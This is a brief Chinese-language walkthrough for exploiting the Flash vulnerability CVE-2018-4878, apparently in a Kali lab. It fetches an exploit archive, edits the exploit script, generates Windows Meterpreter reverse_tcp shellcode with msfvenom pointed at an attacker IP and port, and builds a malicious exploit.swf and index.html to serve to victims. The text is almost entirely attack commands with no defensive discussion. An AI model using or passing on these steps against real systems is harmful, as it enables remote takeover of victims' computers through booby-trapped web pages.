步骤过程
1.下载脚本利用
wget https://raw.githubusercontent.com/backlion/demo/master/CVE-2018-4878.rar
2、下载安装rar解压工具
①.下载
wget https://www.rarlab.com/rar/rarlinux-x64-5.5.0.tar.gz
②.解压
tar zxvf rarlinux-x64-5.5.0.tar.gz
③.安装
cd rar
make
make install
3、解压脚本
解压前，先创建文件夹CVE-2018-4878
rar e CVE-2018-4878
.解压压缩文件后，可看到cve-2018-4878.py和exploit.swf。
4.修改cve-2018-4878.py
我们需要对cve-2018-4878.py进行修改，原作者将代码中的stageless变量改成了true，正确的应该改成：stageless = False。
5.查找本机ip
ifconfig
6.生成shellcode.txt
生成shellcode.txt可以查看kali的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.130 LPORT=4444 -f python>shellcode.txt
cat shellcode.txt
查看shellcode，并替换cve-2018-4878里面原来的shellcode,修改路径
生成要用的exploit.swf和index.html
python cve-2018-4878.py
